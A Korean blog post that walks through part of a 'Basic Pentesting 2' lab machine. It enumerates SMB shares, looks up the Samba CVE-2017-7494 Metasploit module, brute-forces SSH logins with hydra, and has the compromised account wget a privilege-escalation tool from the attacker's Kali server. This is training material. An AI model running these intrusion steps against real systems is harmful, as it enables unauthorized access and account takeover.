본문 바로가기

보안

SMB 서비스 취약점

반응형

 

이번 글은 저번 글에 이어 basic pentesting2 를 풀어나가는 과정 중 일부를 작성하였습니다.

 

CVE-2017-7494 취약점 이용

samba 는 파일, 디렉토리 등을 공유할 때 사용하는 소프트웨어로 SMB 프로토콜을 사용합니다.

samba 4.3.11 버전의 취약점에 대해 상세 내용을 확인해 보겠습니다.

sudo searchsploit samba 4.3.11
sudo searchsploit -x 42084

valid credentails, writeable folder, path 가 필요

 

samba 서비스에 대한 공격을 하기 위해서는 위의 3가지 조건이 필요함을 볼 수 있습니다.

 

그렇다면 공격대상인 basic pentesting 환경에 공개되어 있거나 공유되고 있는 폴더들이 있는지 확인해보겠습니다.

(현재 basic pentesting 의 ip 주소는 192.168.0.7입니다)

--script=smb-enum-shares 

 

위의 결과를 통해 Anonymous 와 IPC$ 라는 폴더가 공유되고 있음을 알 수 있습니다.

Anonymous access 를 통해 익명의 계정으로도 접근이 가능함을 볼 수 있습니다.

 

이번에는 SMB 취약점을 살펴보겠습니다.

https://nmap.org/nsedoc/categories/vuln.html

 

vuln NSE Category — Nmap Scripting Engine documentation

For a description of this category, see vuln NSE category in the Nmap documentation. Scripts afp-path-vuln Detects the Mac OS X AFP directory traversal vulnerability, CVE-2010-0533. broadcast-avahi-dos Attempts to discover hosts in the local network using

nmap.org

--script=smb-vuln*

3개 스크립트가 돌아간 결과를 볼 수 있습니다.

취약하지 않을 경우엔 내용이 출력되지 않으며 취약한 경우만 결과가 출력됩니다.

취약한 스크립트는 DOS 공격이 가능하다는 것을 볼 수 있습니다.

 

SMB 서비스 취약점(CVE-2017-7494)를 이용해 해킹을 간단하게 할 수 있는 msfconsole을 사용하겠습니다.

 

msfconsole에서 취약점을 검색해봅니다

search cve-2017-7494

 

검색한 결과를 사용해보겠습니다.

use exploit/linux/samba/is_known_pipename

 

정보확인

info

옵션 내용 확인

show options

RHOSTS 옵션이 필수이며 나머진 선택옵션

 

RHOSTS 를 공격대상의 IP, SMB_SHARE_NAME 공유 폴더명을 입력해줍니다.

smbmap을 통해 smb 서비스의 공유 폴더를 확인해 보겠습니다.

guest session으로 접속하여 disk를 확인해본 결과, Anonymous,IPC 폴더 모두 write 권한이 없음을 볼 수 있습니다.

samba 4.3.11 의 CVE-2017-7494 취약점을 활용하기 위해서는 Write 권한이 있는 폴더가 있어야합니다. 

따라서 해당 모듈은 사용할 수 없습니다.

 

추가 정보 획득

그렇다면 이번에는 smb samba와 관련된 추가 정보를 enum4linux를 통해 획득해보도록 하겠습니다.

enum4linux
윈도우나  samba host에서 시스템 정보를 열겨하기 위한 도구

enum4linux 조회 결과 (일부 발췌)
공유폴더 조회 결과 - anonymous 폴더 확인 가
익명사용자 허용
jan,kay라는 사용자 이름 추출

 

smbclient를 이용해 공유폴더에 접근해보겠습니다. 여기서 익명사용자를 허용하고 있으므로 password는 입력하지 않고 접근하였습다.

staff.txt 파일을 확인할 수 있음

조회된 결과의 staff.txt 를 로컬로 데려오겠습니다.

get staff.txt

 

이번에는 anonymous가 아닌 IPC 폴더를 이번에 조회해 보았는데 폴더 열거가 되지 않는 모습을 볼 수 있습니다.

smbclient로 접속한 IPC 폴

 

사용자 계정으로 SSH로그인 시도

이번에는 kay, jan 이란 사용자 계정으로 로그인을 시도해보겠습니다.

hydra -V 옵션은 모든 결과를 보여주므로 속도가 느림(필요시만 사용)

ssh 로 직접 접속을 시도해보았으나, 비밀번호를 알수없기 때문에 hydra 명령어를 통해 무작위 대입을 해보았습니다.

여러번의 시도를 하지만, kay 라는 사용자에 대해 비밀번호를 찾을 수 없었습니다. 

또다른 사용자 jan 에 대해 동일한 시도를 해보고 그 결과의 비밀번호로 ssh 접근을 해보겠습니다.

jan 의 shell 획득
jan이 root 권한을 가질 수 있는지 확인했으나 sudo 권한 없음

 

kay 의 홈 디렉토리에 접속하여 확인한 결과

 

kay 의 계정으로 접근하여 확인한 결과 sudo 권한이 사용가능한 계정임을 'sudo_as_admin_successful' 파일을 통해 알 수 있습니다.  따라서 kay 라는 계정을 획득하면 root 권한을 사용할 수 있습니다.

또한, '.ssh' 디렉토리의 권한은 755입니다. ssh 를 접근하기 위한 폴더인데 group 과 other user들에게도 읽고 실행할 수 있게 되어 있습니다.

 

이런 취약점을 활용해서 ..?

sudo service apache2 start

1) kali 리눅스 서버에서 apache 를 실행해줍니다.

sudo cp /usr/bin/unix-privesc-check /var/www/html

2) unix privesc check 실행파일을 html 폴더내로 옮겨줍니다.

wget 192.168.0.4/unix-privesc-check

3) jan 계정으로 ssh 접속 후 kali 서버에 접근해서 파일을 가져옵니다.

chmod +x unix-privesc-check

4) 실행가능하도록 권한을 추가해줍니다.

5) 실행

실행했으나 starings가 없어서 실행 불가

 

python 취약점을 이용

linux priv checker 파일을 다운로드 받음

 

SUID 가 지정된 프로그램은 root 권한으로 프로그램을 실행할 수 있음

 

반응형